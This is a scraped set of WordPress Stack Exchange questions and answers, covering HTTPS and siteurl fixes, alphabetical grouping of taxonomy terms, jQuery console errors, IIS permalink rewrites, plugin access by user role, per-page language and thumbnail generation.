"text": "<p><strong>Issue must be siteurl and home values are updated in the database with https, to fix it do following.</strong> </p>\n\n<p>To bring site instantly up, add following lines under existing define statements in wp-config.php. This will override database values. you can updated your domain name instead of localhost. </p>\n\n<pre><code>define( 'WP_SITEURL', 'http://localhost');\ndefine( 'WP_HOME', 'http://localhost');\n</code></pre>\n\n<p><strong>Fix https database references</strong> </p>\n\n<p>Go to phpadmin and execute following query and search for <strong>https</strong> in Filter rows as shown in the below picture. if you find home and siteurls with <strong>https</strong>, replace it with <strong>http</strong></p>\n\n<pre><code>SELECT * FROM wp_options\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/4Wzzt.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4Wzzt.png\" alt=\"enter image description here\"></a></p>\n\n<p><strong>Once you have removed https from the database. remove following lines from wp-config.php.</strong> and restart apache. </p>\n\n<pre><code>define( 'WP_SITEURL', 'http://localhost');\ndefine( 'WP_HOME', 'http://localhost');\n</code></pre>\n\n<p>Your site should be up. good luck!</p>\n"
},
{
"answer_id": 371265,
"author": "Tamim",
"author_id": 137491,
"author_profile": "https://wordpress.stackexchange.com/users/137491",
"pm_score": 0,
"selected": false,
"text": "<p>In my case, there were a plugin that force redirect to https. So, also check if any plugin is active and redirect requests to https.</p>\n"
}
]
| 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256457",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113319/"
]
| I've installed WordPress and setup the database.
I go to the address and the setup page is there, but no CSS.
I think: something's wrong, but if I just do the setup maybe everything will just go back to normal.
No.
So then I spend a while looking through search results for WordPress styles not working etc.
I discover that all the links are present in the head of the page(s), and they point to the right pages, but they are not being loaded.
WordPress is trying to use a secure connection, but I don't have an SSL certificate or anything like that and I shouldn't think I'll need one for this either. This means that all the links to stylesheets and scripts are seen as untrustworthy and blocked.
I changed my searches to point in the direction of disabling https / ssl, but nothing I have found works.
E.g. I've tried adding stuff to my .htaccess file (lost the link to another related question on this site)
I've tried to find lines like `define( 'force_SSL', true );` in wp-config.php but to no avail ([related question](https://stackoverflow.com/questions/22338756/gae-php-how-to-disable-https-for-wordpress)). I've tried adding these lines (switching them to false) as well.
Thanks for any help.
Solution:
The problem was not what I thought it was. Dataplicity (I am running off a pi) forces use of HTTPS, but as wordpress *wasn't* using HTTPS, the 'insecure' scripts weren't being loaded. All I needed to do was enable HTTPS.
I'm sure the answers below would have helped if my problem was what I thought it was, and I hope they'll help others with the same problem as I thought I had. | Check your `wp-config.php` file for lines like:
```
define( 'WP_SITEURL', 'https://example.com' );
define( 'WP_HOME', 'https://example.com' );
```
Also check your database's `{prefix}_options` table:
```
SELECT * FROM wp_options WHERE option_name='siteurl' OR option_name='home';
```
...assuming that your database's prefix is `wp_`. |
256,510 | <p>I can't find answer to my question, just hope you will find it relevant.</p>
<p>I'm working a magazine website and I need to display names of contributors in a list by family names. The contributors have been created by a custom taxonomy. Some of those names have <strong>more than one First names</strong>.</p>
<p>Example</p>
<p><strong>S</strong></p>
<p>Jane Gabriella Maria <strong>Sanchez</strong><br>
John <strong>Smith</strong></p>
<p>So what I did is that I created a custom field for the family name. It works and put them in the right order. Here's my code the I created with the help of some resource <a href="https://wordpress.stackexchange.com/questions/176354/display-custom-taxonomy-terns-ordered-by-meta-value">here</a>. The only thing I would like to be able to do now is to query only by the first letter of the get_field('family_name', $term). To been able to group them on my page. A, B, C, D.....</p>
<pre><code> <?php
$terms = get_terms('contributors');
$args = array('contributors' => $term->slug);
$query = new WP_Query( $args );
$order_terms = array();
foreach( $terms as $term ) {
$position = get_field('family_name', $term);
$order_terms[$position] ='<li><a href="'. get_bloginfo( 'url' ) . '/contributors/' . $term->slug . '">'.$term->name.'</a></li>';
}
ksort($order_terms);
foreach( $order_terms as $order_term ) {
echo $order_term;
}
?>
</code></pre>
<p>Maybe it's not possible, let me know.</p>
<p>Thanks in advance.</p>
| [
{
"answer_id": 256591,
"author": "CodeMascot",
"author_id": 44192,
"author_profile": "https://wordpress.stackexchange.com/users/44192",
"pm_score": 1,
"selected": false,
"text": "<p>Hope the below code block will help you. Please read the comments carefully. The code block-</p>\n\n<pre><code>// Your previous code.\n// Say this is your $oder_terms variable\n$order_terms = array(\n 'Sanchez' => 'Sanchez Link',\n 'Smith' => 'Smith Link',\n 'Dramatist' => 'Dramatist Link',\n 'Rashed' => 'Rashed Link',\n 'Munez' => 'Munez Link',\n 'James' => 'James Link',\n 'Jacky' => 'Jacky Link',\n\n);\n\nksort($order_terms);\n// After ksort($order_terms); we get below array\n/*\nArray\n(\n [Dramatist] => Dramatist Link\n [Jacky] => Jacky Link\n [James] => James Link\n [Munez] => Munez Link\n [Rashed] => Rashed Link\n [Sanchez] => Sanchez Link\n [Smith] => Smith Link\n)\n*/\n// Now we need to group them on the basis of alphabet. Right ?\n\n$new_order_terms = array();\nforeach($order_terms as $key => $value) {\n $firstLetter = substr($value, 0, 1);\n $new_order_terms[$firstLetter][$key] = $value;\n}\n\n// Now if you do print_r($new_order_terms); your output will be\n/*\nArray\n(\n [D] => Array\n (\n [Dramatist] => Dramatist Link\n )\n\n [J] => Array\n (\n [Jacky] => Jacky Link\n [James] => James Link\n )\n\n [M] => Array\n (\n [Munez] => Munez Link\n )\n\n [R] => Array\n (\n [Rashed] => Rashed Link\n )\n\n [S] => Array\n (\n [Sanchez] => Sanchez Link\n [Smith] => Smith Link\n )\n\n)\n*/\n// All grouped by their first letter.\n</code></pre>\n"
},
{
"answer_id": 258523,
"author": "François",
"author_id": 6695,
"author_profile": "https://wordpress.stackexchange.com/users/6695",
"pm_score": 1,
"selected": true,
"text": "<p>So I finally been able to solve my problem by using two fields that I added to my custom taxonony called \"Contributors\". One for the admin of the site to write the family name of each contributor and a field to tell in which letter group it belong.</p>\n\n<p>I'm sure there would be easier way to code this but, with my limited nowledge in coding, that's the best I could do.</p>\n\n<p>Here's my code:</p>\n\n<pre><code> <!-- Letter A -->\n\n <?php \n\n $terms = get_terms(array(\n 'taxonomy' => 'contributors',\n 'meta_key' => 'letter_group',\n 'meta_value' => 'a'\n ));\n\n if(!empty ($terms)) {\n\n $args = array(\n 'contributors' => $term->slug, \n );\n $query = new WP_Query( $args ); ?>\n\n <section class=\"names\">\n\n <h3>A</h3>\n <p>\n <?php\n\n $order_terms = array();\n foreach( $terms as $term ) {\n $position = get_field('family_name', $term);\n $order_terms[$position][] ='<a href=\"'. get_bloginfo( 'url' ) . '/contributors/' . $term->slug . '\">'.$term->name.'</a><br>'; }\n\n ksort($order_terms);\n\n foreach( $order_terms as $a ) {\n foreach($a as $order_term)\n echo $order_term;}\n\n wp_reset_postdata();\n\n ?>\n\n </p>\n </section>\n <?php\n }\n ?>\n</code></pre>\n"
}
]
| 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256510",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/6695/"
]
| I can't find answer to my question, just hope you will find it relevant.
I'm working a magazine website and I need to display names of contributors in a list by family names. The contributors have been created by a custom taxonomy. Some of those names have **more than one First names**.
Example
**S**
Jane Gabriella Maria **Sanchez**
John **Smith**
So what I did is that I created a custom field for the family name. It works and put them in the right order. Here's my code the I created with the help of some resource [here](https://wordpress.stackexchange.com/questions/176354/display-custom-taxonomy-terns-ordered-by-meta-value). The only thing I would like to be able to do now is to query only by the first letter of the get\_field('family\_name', $term). To been able to group them on my page. A, B, C, D.....
```
<?php
$terms = get_terms('contributors');
$args = array('contributors' => $term->slug);
$query = new WP_Query( $args );
$order_terms = array();
foreach( $terms as $term ) {
$position = get_field('family_name', $term);
$order_terms[$position] ='<li><a href="'. get_bloginfo( 'url' ) . '/contributors/' . $term->slug . '">'.$term->name.'</a></li>';
}
ksort($order_terms);
foreach( $order_terms as $order_term ) {
echo $order_term;
}
?>
```
Maybe it's not possible, let me know.
Thanks in advance. | So I finally been able to solve my problem by using two fields that I added to my custom taxonony called "Contributors". One for the admin of the site to write the family name of each contributor and a field to tell in which letter group it belong.
I'm sure there would be easier way to code this but, with my limited nowledge in coding, that's the best I could do.
Here's my code:
```
<!-- Letter A -->
<?php
$terms = get_terms(array(
'taxonomy' => 'contributors',
'meta_key' => 'letter_group',
'meta_value' => 'a'
));
if(!empty ($terms)) {
$args = array(
'contributors' => $term->slug,
);
$query = new WP_Query( $args ); ?>
<section class="names">
<h3>A</h3>
<p>
<?php
$order_terms = array();
foreach( $terms as $term ) {
$position = get_field('family_name', $term);
$order_terms[$position][] ='<a href="'. get_bloginfo( 'url' ) . '/contributors/' . $term->slug . '">'.$term->name.'</a><br>'; }
ksort($order_terms);
foreach( $order_terms as $a ) {
foreach($a as $order_term)
echo $order_term;}
wp_reset_postdata();
?>
</p>
</section>
<?php
}
?>
``` |
256,547 | <p>I am currently using the GeoDirectory add-on for Wordpress and as of late, I haven't made any changes to Wordpress other than the fact that wordpress has upgraded to the latest version. </p>
<p>When I add an event, without a package then JQuery appears to be working fine, everything on the page appears and works the way it should so the link it like...</p>
<p>wp-admin/post.php?post=0000&action=edit</p>
<p>With that link JQuery is working, however when I select a package which you have to do the URL changes which throws up errors within the console when I view it...
The URL when the package is selected changes to this...</p>
<p>wp-admin/post.php?post=0000&action=edit&package_id=2 </p>
<p>These are the errors that get thrown up..</p>
<p><a href="https://i.stack.imgur.com/8HaeP.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8HaeP.png" alt="enter image description here"></a></p>
<p>It almost appears as though with the extra tag on the end of the URL the JQuery is not being read at all?</p>
| [
{
"answer_id": 256552,
"author": "TrubinE",
"author_id": 111011,
"author_profile": "https://wordpress.stackexchange.com/users/111011",
"pm_score": 1,
"selected": false,
"text": "<p>When connecting your scripts indicate that the script should work when connected to jQuery:</p>\n\n<pre><code> function my_custom_script() {\n wp_enqueue_script('my_custom_script', plugins_url('/js/script.js', __FILE__), array('jquery'), '1.0', true);\n}\n\nadd_action('admin_enqueue_scripts', 'my_custom_script');\n</code></pre>\n\n<p>stated that the need: array('jquery')</p>\n"
},
{
"answer_id": 256553,
"author": "Dilip kumar",
"author_id": 83973,
"author_profile": "https://wordpress.stackexchange.com/users/83973",
"pm_score": 2,
"selected": false,
"text": "<p>There are this type of problem occure. In case-</p>\n\n<p><strong>1-</strong> jQuery function conflict to other jquery function.\n To remove this type of problem, define below script in <strong>wp-config.php</strong> file.</p>\n\n<pre><code>define('CONCATENATE_SCRIPTS', false);\n</code></pre>\n\n<p><strong>2-</strong> jQuery liberaray file are not include in frontend.</p>\n\n<p><strong>3-</strong> Jquery same file defined more than one time. then this type of issue show in firebug.</p>\n"
}
]
| 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256547",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113383/"
]
| I am currently using the GeoDirectory add-on for Wordpress and as of late, I haven't made any changes to Wordpress other than the fact that wordpress has upgraded to the latest version.
When I add an event, without a package then JQuery appears to be working fine, everything on the page appears and works the way it should so the link it like...
wp-admin/post.php?post=0000&action=edit
With that link JQuery is working, however when I select a package which you have to do the URL changes which throws up errors within the console when I view it...
The URL when the package is selected changes to this...
wp-admin/post.php?post=0000&action=edit&package\_id=2
These are the errors that get thrown up..
[](https://i.stack.imgur.com/8HaeP.png)
It almost appears as though with the extra tag on the end of the URL the JQuery is not being read at all? | There are this type of problem occure. In case-
**1-** jQuery function conflict to other jquery function.
To remove this type of problem, define below script in **wp-config.php** file.
```
define('CONCATENATE_SCRIPTS', false);
```
**2-** jQuery liberaray file are not include in frontend.
**3-** Jquery same file defined more than one time. then this type of issue show in firebug. |
256,558 | <p>i have enable permalinks on my wordpress site and now every page returns 404 error. The site is hosted in IIS 8.5</p>
<p>the web.config file has the following rule inside</p>
<pre><code><?xml version="1.0" encoding="UTF-8"?>
</code></pre>
<p>
</p>
<pre><code><directoryBrowse enabled="false"/>
<rewrite>
<rules>
<clear/>
<rule name="wordpress" stopProcessing="true">
<match url=".*" />
<conditions logicalGrouping="MatchAll">
<add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" />
<add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" />
</conditions>
<action type="Rewrite" url="index.php" />
</rule>
</rules>
</rewrite>
</code></pre>
<p>
</p>
<p>what can i do to fix that and make permalinks work?</p>
| [
{
"answer_id": 256552,
"author": "TrubinE",
"author_id": 111011,
"author_profile": "https://wordpress.stackexchange.com/users/111011",
"pm_score": 1,
"selected": false,
"text": "<p>When connecting your scripts indicate that the script should work when connected to jQuery:</p>\n\n<pre><code> function my_custom_script() {\n wp_enqueue_script('my_custom_script', plugins_url('/js/script.js', __FILE__), array('jquery'), '1.0', true);\n}\n\nadd_action('admin_enqueue_scripts', 'my_custom_script');\n</code></pre>\n\n<p>stated that the need: array('jquery')</p>\n"
},
{
"answer_id": 256553,
"author": "Dilip kumar",
"author_id": 83973,
"author_profile": "https://wordpress.stackexchange.com/users/83973",
"pm_score": 2,
"selected": false,
"text": "<p>There are this type of problem occure. In case-</p>\n\n<p><strong>1-</strong> jQuery function conflict to other jquery function.\n To remove this type of problem, define below script in <strong>wp-config.php</strong> file.</p>\n\n<pre><code>define('CONCATENATE_SCRIPTS', false);\n</code></pre>\n\n<p><strong>2-</strong> jQuery liberaray file are not include in frontend.</p>\n\n<p><strong>3-</strong> Jquery same file defined more than one time. then this type of issue show in firebug.</p>\n"
}
]
| 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256558",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/110915/"
]
| i have enable permalinks on my wordpress site and now every page returns 404 error. The site is hosted in IIS 8.5
the web.config file has the following rule inside
```
<?xml version="1.0" encoding="UTF-8"?>
```
```
<directoryBrowse enabled="false"/>
<rewrite>
<rules>
<clear/>
<rule name="wordpress" stopProcessing="true">
<match url=".*" />
<conditions logicalGrouping="MatchAll">
<add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" />
<add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" />
</conditions>
<action type="Rewrite" url="index.php" />
</rule>
</rules>
</rewrite>
```
what can i do to fix that and make permalinks work? | There are this type of problem occure. In case-
**1-** jQuery function conflict to other jquery function.
To remove this type of problem, define below script in **wp-config.php** file.
```
define('CONCATENATE_SCRIPTS', false);
```
**2-** jQuery liberaray file are not include in frontend.
**3-** Jquery same file defined more than one time. then this type of issue show in firebug. |
256,569 | <p>I am using ultimate <a href="https://wordpress.org/plugins/ultimate-product-catalogue/" rel="nofollow noreferrer">Product Catalog plugin</a> in WordPress. Currently only Administrator role users are able to view the plugin settings.</p>
<p>But I need Editor, Contributor, and Author role users also has to have access to view the specific plugin. Can anyone please provide me the solution to grant access to view the specific plug-in.</p>
| [
{
"answer_id": 256628,
"author": "I'm Joe Too",
"author_id": 60972,
"author_profile": "https://wordpress.stackexchange.com/users/60972",
"pm_score": 0,
"selected": false,
"text": "<p>Use <code>current_user_can( 'edit_posts' )</code> which applies to any logged in user above subscriber. Also, check out WordPress roles and capabilities to see other permissions for various levels. </p>\n\n<pre><code><?php\nif( current_user_can( 'edit_posts' ) ){\n // do whatever\n}\n</code></pre>\n"
},
{
"answer_id": 256631,
"author": "smartcat",
"author_id": 112935,
"author_profile": "https://wordpress.stackexchange.com/users/112935",
"pm_score": 0,
"selected": false,
"text": "<p>issue with making such a change is if you edit the plugin code, you will lose your changes the next time the plugin updates. </p>\n\n<p>a better thing to do is, figure out if the plugin is creating it's own capabilities, then create a small plugin with the sole purpose of giving said capabilities to anyone who is not \"subscriber\"</p>\n"
},
{
"answer_id": 256684,
"author": "Vamshi",
"author_id": 113391,
"author_profile": "https://wordpress.stackexchange.com/users/113391",
"pm_score": 1,
"selected": false,
"text": "<p>Got a fix for this. \nGet current user id and based on ID get current user info.From that user info get user role. If user role is not subscriber then only we can add menu page. This way editors/contributors can access plugin. </p>\n\n<p>Below is the working code. </p>\n\n<pre><code><?php\n $userID = get_current_user_id();\n $user = new WP_User($userID);\n $userRole = $user->roles[0];\n if($userRole!=\"subscriber\")\n {\n $Access_Role =$userRole; \n $UPCP_Menu_page = add_menu_page($page_title, $menu_title, $Access_Role, 'UPCP-options', 'UPCP_Output_Options',null , '50.5');\n add_action(\"load-$UPCP_Menu_page\", \"UPCP_Screen_Options\");\n }\n?>\n</code></pre>\n"
}
]
| 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256569",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113391/"
]
| I am using ultimate [Product Catalog plugin](https://wordpress.org/plugins/ultimate-product-catalogue/) in WordPress. Currently only Administrator role users are able to view the plugin settings.
But I need Editor, Contributor, and Author role users also has to have access to view the specific plugin. Can anyone please provide me the solution to grant access to view the specific plug-in. | Got a fix for this.
Get current user id and based on ID get current user info.From that user info get user role. If user role is not subscriber then only we can add menu page. This way editors/contributors can access plugin.
Below is the working code.
```
<?php
$userID = get_current_user_id();
$user = new WP_User($userID);
$userRole = $user->roles[0];
if($userRole!="subscriber")
{
$Access_Role =$userRole;
$UPCP_Menu_page = add_menu_page($page_title, $menu_title, $Access_Role, 'UPCP-options', 'UPCP_Output_Options',null , '50.5');
add_action("load-$UPCP_Menu_page", "UPCP_Screen_Options");
}
?>
``` |
256,570 | <p>My WordPress blog is set up as <code>nl_NL</code>. This means that my <a href="http://booking-wp-plugin.com/" rel="nofollow noreferrer">bookly plugin</a> is also displayed in <code>nl_NL</code>.</p>
<p>In the Plugin directory there is a folder languages with loads of other languages.</p>
<p>I have one page in three different languages <code>nl_NL</code>, <code>de_DE</code>, <code>en_EN</code>, on this page I would like the booking plugin to be displayed in the correct language. </p>
<p>I changed the page language via page id from <code>nl_NL</code> to <code>de_DE</code></p>
<p>
</p>
<p>Via the <code>function.php</code>, but this had no effect. </p>
<pre><code>function get_top_parent_page_id() {
global $post;
if ($post->ancestors) {
return end($post->ancestors);
} else {
return $post->ID;
}
}
function addLangMetaTag (){
$postLanguage = "nl_NL";
if (is_page()) {
$svPageID = get_top_parent_page_id(); // ID of parent page
if ($svPageID == "13040") { // ID of the "på svenska" page
$postLanguage = "de_DE";
}
echo "<meta http-equiv=\"content-language\" content=\"" . $postLanguage . "\">";
}
}
add_filter( 'wp_head', 'addLangMetaTag' );
function language_tagger_change_html_lang_tag() {
return "dir=\"ltr\" lang=\"" .
language_tagger_determin_lang_tag() . "\"";
}
function language_tagger_determin_lang_tag() {
$postLanguage = 'nl_NL'; // default language
if (is_page()) {
$svPageID = get_top_parent_page_id(); // ID of parent page
if ($svPageID == "13040") { // ID of the "på svenska" page
$postLanguage = "de_DE";
}
}
return $postLanguage;
}
add_filter('language_attributes',
'language_tagger_change_html_lang_tag');
</code></pre>
<p>I think it will only look at the WordPress <code>config.php</code> <code>define('WPLANG', 'nl_NL');</code>
I have also been reading <a href="https://wordpress.stackexchange.com/questions/72692/how-do-i-change-the-language-of-only-the-login-page#">this post</a> maybe I could combine something?</p>
| [
{
"answer_id": 256628,
"author": "I'm Joe Too",
"author_id": 60972,
"author_profile": "https://wordpress.stackexchange.com/users/60972",
"pm_score": 0,
"selected": false,
"text": "<p>Use <code>current_user_can( 'edit_posts' )</code> which applies to any logged in user above subscriber. Also, check out WordPress roles and capabilities to see other permissions for various levels. </p>\n\n<pre><code><?php\nif( current_user_can( 'edit_posts' ) ){\n // do whatever\n}\n</code></pre>\n"
},
{
"answer_id": 256631,
"author": "smartcat",
"author_id": 112935,
"author_profile": "https://wordpress.stackexchange.com/users/112935",
"pm_score": 0,
"selected": false,
"text": "<p>issue with making such a change is if you edit the plugin code, you will lose your changes the next time the plugin updates. </p>\n\n<p>a better thing to do is, figure out if the plugin is creating it's own capabilities, then create a small plugin with the sole purpose of giving said capabilities to anyone who is not \"subscriber\"</p>\n"
},
{
"answer_id": 256684,
"author": "Vamshi",
"author_id": 113391,
"author_profile": "https://wordpress.stackexchange.com/users/113391",
"pm_score": 1,
"selected": false,
"text": "<p>Got a fix for this. \nGet current user id and based on ID get current user info.From that user info get user role. If user role is not subscriber then only we can add menu page. This way editors/contributors can access plugin. </p>\n\n<p>Below is the working code. </p>\n\n<pre><code><?php\n $userID = get_current_user_id();\n $user = new WP_User($userID);\n $userRole = $user->roles[0];\n if($userRole!=\"subscriber\")\n {\n $Access_Role =$userRole; \n $UPCP_Menu_page = add_menu_page($page_title, $menu_title, $Access_Role, 'UPCP-options', 'UPCP_Output_Options',null , '50.5');\n add_action(\"load-$UPCP_Menu_page\", \"UPCP_Screen_Options\");\n }\n?>\n</code></pre>\n"
}
]
| 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256570",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113384/"
]
| My WordPress blog is set up as `nl_NL`. This means that my [bookly plugin](http://booking-wp-plugin.com/) is also displayed in `nl_NL`.
In the Plugin directory there is a folder languages with loads of other languages.
I have one page in three different languages `nl_NL`, `de_DE`, `en_EN`, on this page I would like the booking plugin to be displayed in the correct language.
I changed the page language via page id from `nl_NL` to `de_DE`
Via the `function.php`, but this had no effect.
```
function get_top_parent_page_id() {
global $post;
if ($post->ancestors) {
return end($post->ancestors);
} else {
return $post->ID;
}
}
function addLangMetaTag (){
$postLanguage = "nl_NL";
if (is_page()) {
$svPageID = get_top_parent_page_id(); // ID of parent page
if ($svPageID == "13040") { // ID of the "på svenska" page
$postLanguage = "de_DE";
}
echo "<meta http-equiv=\"content-language\" content=\"" . $postLanguage . "\">";
}
}
add_filter( 'wp_head', 'addLangMetaTag' );
function language_tagger_change_html_lang_tag() {
return "dir=\"ltr\" lang=\"" .
language_tagger_determin_lang_tag() . "\"";
}
function language_tagger_determin_lang_tag() {
$postLanguage = 'nl_NL'; // default language
if (is_page()) {
$svPageID = get_top_parent_page_id(); // ID of parent page
if ($svPageID == "13040") { // ID of the "på svenska" page
$postLanguage = "de_DE";
}
}
return $postLanguage;
}
add_filter('language_attributes',
'language_tagger_change_html_lang_tag');
```
I think it will only look at the WordPress `config.php` `define('WPLANG', 'nl_NL');`
I have also been reading [this post](https://wordpress.stackexchange.com/questions/72692/how-do-i-change-the-language-of-only-the-login-page#) maybe I could combine something? | Got a fix for this.
Get current user id and based on ID get current user info.From that user info get user role. If user role is not subscriber then only we can add menu page. This way editors/contributors can access plugin.
Below is the working code.
```
<?php
$userID = get_current_user_id();
$user = new WP_User($userID);
$userRole = $user->roles[0];
if($userRole!="subscriber")
{
$Access_Role =$userRole;
$UPCP_Menu_page = add_menu_page($page_title, $menu_title, $Access_Role, 'UPCP-options', 'UPCP_Output_Options',null , '50.5');
add_action("load-$UPCP_Menu_page", "UPCP_Screen_Options");
}
?>
``` |
256,580 | <p>I am trying to load a full width video on my homepage. My situation is almost exactly like:
<a href="https://wordpress.stackexchange.com/questions/226303/video-background-php-css-generating-404-error-on-page-load-wordpress-t/226421">Video Background - (php & css) - generating 404 error on page load - Wordpress Theme File Structure Help</a></p>
<p>However, I do have the path to my video set as: </p>
<pre><code><source src="/wp-content/themes/uf2016/assets/videos/videobg.mp4" type="video/mp4">
</code></pre>
<p>This is a stuck I have been on for a while and have tried various ways to call in the video but all result in a 404. What am I missing that is causing wordpress to not see this file?</p>
<p>Console output error</p>
<p><a href="https://i.stack.imgur.com/AQP18.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/AQP18.png" alt="enter image description here"></a></p>
<p>Console output error when using get_template_directory_uri()</p>
<p><a href="https://i.stack.imgur.com/wGFLN.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/wGFLN.png" alt="enter image description here"></a></p>
| [
{
"answer_id": 256628,
"author": "I'm Joe Too",
"author_id": 60972,
"author_profile": "https://wordpress.stackexchange.com/users/60972",
"pm_score": 0,
"selected": false,
"text": "<p>Use <code>current_user_can( 'edit_posts' )</code> which applies to any logged in user above subscriber. Also, check out WordPress roles and capabilities to see other permissions for various levels. </p>\n\n<pre><code><?php\nif( current_user_can( 'edit_posts' ) ){\n // do whatever\n}\n</code></pre>\n"
},
{
"answer_id": 256631,
"author": "smartcat",
"author_id": 112935,
"author_profile": "https://wordpress.stackexchange.com/users/112935",
"pm_score": 0,
"selected": false,
"text": "<p>issue with making such a change is if you edit the plugin code, you will lose your changes the next time the plugin updates. </p>\n\n<p>a better thing to do is, figure out if the plugin is creating it's own capabilities, then create a small plugin with the sole purpose of giving said capabilities to anyone who is not \"subscriber\"</p>\n"
},
{
"answer_id": 256684,
"author": "Vamshi",
"author_id": 113391,
"author_profile": "https://wordpress.stackexchange.com/users/113391",
"pm_score": 1,
"selected": false,
"text": "<p>Got a fix for this. \nGet current user id and based on ID get current user info.From that user info get user role. If user role is not subscriber then only we can add menu page. This way editors/contributors can access plugin. </p>\n\n<p>Below is the working code. </p>\n\n<pre><code><?php\n $userID = get_current_user_id();\n $user = new WP_User($userID);\n $userRole = $user->roles[0];\n if($userRole!=\"subscriber\")\n {\n $Access_Role =$userRole; \n $UPCP_Menu_page = add_menu_page($page_title, $menu_title, $Access_Role, 'UPCP-options', 'UPCP_Output_Options',null , '50.5');\n add_action(\"load-$UPCP_Menu_page\", \"UPCP_Screen_Options\");\n }\n?>\n</code></pre>\n"
}
]
| 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256580",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113398/"
]
| I am trying to load a full width video on my homepage. My situation is almost exactly like:
[Video Background - (php & css) - generating 404 error on page load - Wordpress Theme File Structure Help](https://wordpress.stackexchange.com/questions/226303/video-background-php-css-generating-404-error-on-page-load-wordpress-t/226421)
However, I do have the path to my video set as:
```
<source src="/wp-content/themes/uf2016/assets/videos/videobg.mp4" type="video/mp4">
```
This is a stuck I have been on for a while and have tried various ways to call in the video but all result in a 404. What am I missing that is causing wordpress to not see this file?
Console output error
[](https://i.stack.imgur.com/AQP18.png)
Console output error when using get\_template\_directory\_uri()
[](https://i.stack.imgur.com/wGFLN.png) | Got a fix for this.
Get current user id and based on ID get current user info.From that user info get user role. If user role is not subscriber then only we can add menu page. This way editors/contributors can access plugin.
Below is the working code.
```
<?php
$userID = get_current_user_id();
$user = new WP_User($userID);
$userRole = $user->roles[0];
if($userRole!="subscriber")
{
$Access_Role =$userRole;
$UPCP_Menu_page = add_menu_page($page_title, $menu_title, $Access_Role, 'UPCP-options', 'UPCP_Output_Options',null , '50.5');
add_action("load-$UPCP_Menu_page", "UPCP_Screen_Options");
}
?>
``` |
256,590 | <p>I've noticed that WordPress does not generate a thumbnail for an image if the uploaded image's size is the same as the thumbnail's size. </p>
<p>To make this clear, here is an example: </p>
<p>I have an image with a size of <code>300x200px</code>. My thumbnail's size in the WordPress setting is also <code>300x200</code>. So, when i upload this image, no thumbnail of <code>300x200</code> size will be generated, because the uploaded image <strong>itself</strong> is considered a thumbnail to WordPress!</p>
<p>I've tracked it down to <code>wp_generate_attachment_metadata()</code> function, which decides not to crop an image if the image's size is equal to a thumbnail's size. <a href="https://developer.wordpress.org/reference/functions/wp_generate_attachment_metadata/" rel="nofollow noreferrer">Here</a> is the link to this function's content.</p>
<p>This function has a filter, as the following:</p>
<p><code>apply_filters( 'wp_generate_attachment_metadata', $metadata, $attachment_id );</code></p>
<p>How can i make this function to make the thumbnail, no matter what size?</p>
<p>Thanks.</p>
<p><strong>UPDATE 1:</strong></p>
<p>Following the answer by @birgire, i have included my custom <code>multi_resize()</code> function in the question:</p>
<pre><code>function multi_resize($sizes) {
$sizes = parent::multi_resize($sizes);
//we add the slug to the file path
foreach ($sizes as $slug => $data) {
$sizes[$slug]['file'] = $slug . "/" . $data['file'];
}
return $sizes;
}
</code></pre>
<p>I'm using this function for some other purposes, mentioned <a href="https://wordpress.stackexchange.com/q/255462/94498">this</a> question.</p>
| [
{
"answer_id": 256620,
"author": "Jeff82",
"author_id": 77924,
"author_profile": "https://wordpress.stackexchange.com/users/77924",
"pm_score": -1,
"selected": false,
"text": "<p>Wordpress should automatically create all specified sizes of an image when it's uploaded to the media library. By specified I mean the sizes that are supplied by the parent and/or child themes with:</p>\n\n<pre><code>add_image_size('name', 320, 200);\n</code></pre>\n\n<p>.. along with any WP defaults. The above is just a simple example of creating an image derivative for WP. If you want it to create a thumbnail of a specified size every time, you can call this in functions.php (or an include file your theme is calling). </p>\n\n<p>Are you looking for a specific size or just the 100x100 default?</p>\n"
},
{
"answer_id": 256635,
"author": "Kazem Nocktrine",
"author_id": 113432,
"author_profile": "https://wordpress.stackexchange.com/users/113432",
"pm_score": -1,
"selected": false,
"text": "<p>Hello i am not sure this is what you are looking for but i think this would help </p>\n\n<p><code>add_image_size( 'thumbnail', '100px', '100px', true );</code></p>\n\n<p>use either <code>true</code> or <code>FALSE</code> statement to declear wheather or not to resize image, the above code would produce an image of almost exactly 100px x 100px . for all images how ever small walk arounds needed to be don eon the css.</p>\n"
},
{
"answer_id": 256683,
"author": "birgire",
"author_id": 26350,
"author_profile": "https://wordpress.stackexchange.com/users/26350",
"pm_score": 3,
"selected": true,
